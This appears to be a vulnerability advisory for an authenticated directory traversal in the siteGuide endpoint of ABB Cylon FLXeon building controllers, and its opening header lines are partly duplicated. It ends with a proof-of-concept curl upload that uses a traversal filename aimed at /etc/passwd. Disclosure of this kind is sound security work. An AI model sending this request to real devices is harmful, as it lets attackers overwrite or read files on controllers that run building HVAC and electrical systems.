ABB Cylon FLXeon 9.3.5 (siteGuide.js) Authenticated Directory Traversal


Vendor: ABB Ltd.
Product ABB Cylon FLXeon 9.3.5 (siteGuide.js) Authenticated Directory Traversal


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
CBX Series (FLX Series)
CBT Series
CBV Series
Firmware: <=9.3.5

Summary: BACnet? Smart Building Controllers. ABB's BACnet portfolio features a
series of BACnet? IP and BACnet MS/TP field controllers for ASPECT? and INTEGRA?
building management solutions. ABB BACnet controllers are designed for intelligent
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
heat pump systems, air handling units (constant volume, variable air volume, and
multi-zone), rooftop units, electrical systems such as lighting control, variable
frequency drives and metering.

The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
connectivity and open integration for your building automation systems. It's scalable,
and modular, allowing you to control a diverse range of HVAC functions.

Desc: The ABB Cylon FLXeon BACnet controller is vulnerable to authenticated file
traversal via the /api/siteGuide endpoint. An attacker with valid credentials can
manipulate the filename parameter to move and access or overwrite arbitrary files.
The issue arises due to improper input validation in siteGuide.js, where user-supplied
data is not properly sanitized, allowing directory traversal attacks.

Tested on: Linux Kernel 5.4.27
Linux Kernel 4.15.13
NodeJS/8.4.0
Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2025-5933
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5933.php


21.04.2024

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$ cat project

P R O J E C T

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$ curl -k -X POST "https://7.3.3.1/api/siteGuide" \
> -H "Cookie: user_sid=xxx" \
> -H "Content-Type: multipart/form-data; boundary=----zeroscience" \
> -F "file=@testingus.txt;filename=../../../../../../../etc/passwd" \
> -F "originalname=testingus.txt" \
> -F "boundary=----zeroscience--"